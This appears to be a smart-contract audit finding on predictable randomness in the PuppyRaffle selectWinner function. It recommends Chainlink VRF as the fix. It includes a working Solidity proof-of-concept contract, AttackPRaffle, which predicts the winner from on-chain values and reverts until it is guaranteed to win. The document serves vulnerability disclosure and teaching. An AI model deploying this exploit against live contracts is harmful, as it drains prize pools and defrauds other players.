Root + Impact

Description

• The selectWinner function in the contract relies on predictable on-chain data to determine the outcome of the raffle. Specifically, it calculates the winning player by hashing msg.sender, block.timestamp, and block.difficulty. In Ethereum, all block variables are globally readable, and msg.sender is known to the transaction initiator. Because this randomness relies entirely on transparent data, a malicious smart contract can pre-calculate the result before fully executing the transaction.

Risk

• Total Loss of Funds: An attacker can create a smart contract that simulates the randomness calculation. If the calculation does not result in the attacker winning, the contract simply reverts the transaction at a minimal gas cost. When the variables finally align, the transaction completes, allowing the attacker to systematically drain the protocol's prize pools.

• Defrauded Users: Legitimate users have essentially a 0% chance of winning, as the attacker will surgically extract the prize the moment a block favors them.

Proof of Concept

• Arrange: Five legitimate users and one AttackPRaffle smart contract enter the raffle. The Attacker occupies index 5.

• Act: The test fast-forwards time to bypass the raffle duration constraint. The AttackPRaffle contract attempts to call selectWinner().

• Bypass/Execute: Inside the AttackPRaffle contract, it calculates the exact mathematical outcome using the current block's timestamp and difficulty. The calculation reveals that index 2 (bob) will win this specific block.

• Assert: Because the attacker realizes they will not win, they intentionally revert the transaction with the custom error Math says we won't win this block. Reverting!. This proves the attacker can perfectly predict the outcome and protect their funds, waiting to execute only on a block where they are mathematically guaranteed to win.

  //SPDX-License-Identifier: MIT

  ​

  pragma solidity ^0.7.6;

  ​

  import {PuppyRaffle} from "../../src/PuppyRaffle.sol";

  import {console2} from "forge-std/console2.sol";

  ​

  contract AttackPRaffle {

  //Logic to attack

  ​

  PuppyRaffle public targetRaffle;

  ​

  constructor(address _target) {

  targetRaffle = PuppyRaffle(_target);

  }

  ​

  //Attack

  function attack(uint256 totalPlayers) external {

  //Arrange

  uint256 expectedWinnerIndex = uint256(

  keccak256(

  abi.encode(address(this), block.timestamp, block.difficulty)

  )

  ) % totalPlayers;

  ​

  console2.log("The Winner Index is: ", expectedWinnerIndex);

  require(

  targetRaffle.players(expectedWinnerIndex) == address(this),

  "Math says we won't win this block. Reverting!"

  );

  ​

  //Act

  targetRaffle.selectWinner();

  }

  }

Recommended Mitigation

• Never use on-chain block variables (like block.timestamp, block.difficulty, or blockhash) to generate random numbers for critical financial outcomes.

• To achieve true, cryptographically secure randomness, the protocol must integrate an off-chain Decentralized Oracle Network, such as Chainlink VRF (Verifiable Random Function). Chainlink VRF generates the random number off-chain, verifies the cryptographic proof on-chain, and prevents any user, miner, or smart contract from predicting the outcome.